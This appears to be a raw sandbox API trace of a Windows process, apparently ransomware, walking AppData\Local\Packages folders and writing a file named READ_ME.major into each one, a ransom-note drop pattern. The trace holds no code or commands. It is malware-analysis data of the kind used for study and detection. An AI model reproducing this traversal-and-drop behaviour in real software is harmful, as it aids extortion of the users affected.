[0185.255] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.256] CloseHandle (hObject=0x898) returned 1 [0185.256] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.256] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0185.258] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.259] CloseHandle (hObject=0x898) returned 1 [0185.263] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.263] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0185.264] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.264] CloseHandle (hObject=0x898) returned 1 [0185.265] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.265] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0185.266] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.267] CloseHandle (hObject=0x898) returned 1 [0185.267] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2208d807, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2208d807, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.267] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.267] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0185.268] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.269] CloseHandle (hObject=0x898) returned 1 [0185.269] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.269] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0185.270] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.271] CloseHandle (hObject=0x898) returned 1 [0185.271] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.271] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0185.272] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.273] CloseHandle (hObject=0x898) returned 1 [0185.273] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.273] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0185.274] WriteFile (in: hFile=0x898, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.275] CloseHandle (hObject=0x898) returned 1 [0185.275] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.275] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfd81bc01, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6618b0 [0185.276] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfd81bc01, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.278] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x38951974, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3281324d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3281324d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.279] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.281] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.282] CloseHandle (hObject=0x89c) returned 1 [0185.282] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa74099, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.282] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.283] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.284] CloseHandle (hObject=0x89c) returned 1 [0185.284] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa746ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.284] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.285] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.286] CloseHandle (hObject=0x89c) returned 1 [0185.286] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa74ddb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x388df267, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.286] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.287] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.288] CloseHandle (hObject=0x89c) returned 1 [0185.288] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2208d807, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2208d807, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.288] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa75343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.289] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.289] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.290] CloseHandle (hObject=0x89c) returned 1 [0185.290] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7120db5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7120db5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.291] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.334] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.335] CloseHandle (hObject=0x89c) returned 1 [0185.336] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67825a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd67825a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfd67825a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.336] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.336] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.337] CloseHandle (hObject=0x89c) returned 1 [0185.337] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaafb076, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.337] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0185.338] WriteFile (in: hFile=0x89c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.338] CloseHandle (hObject=0x89c) returned 1 [0185.339] FindNextFileW (in: hFindFile=0x6618b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaafb076, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.339] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7b44678d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661130 [0185.339] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7b44678d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.339] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x695b3be8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x32a294bc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x32a294bc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.339] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.342] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.343] CloseHandle (hObject=0x8a0) returned 1 [0185.343] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, 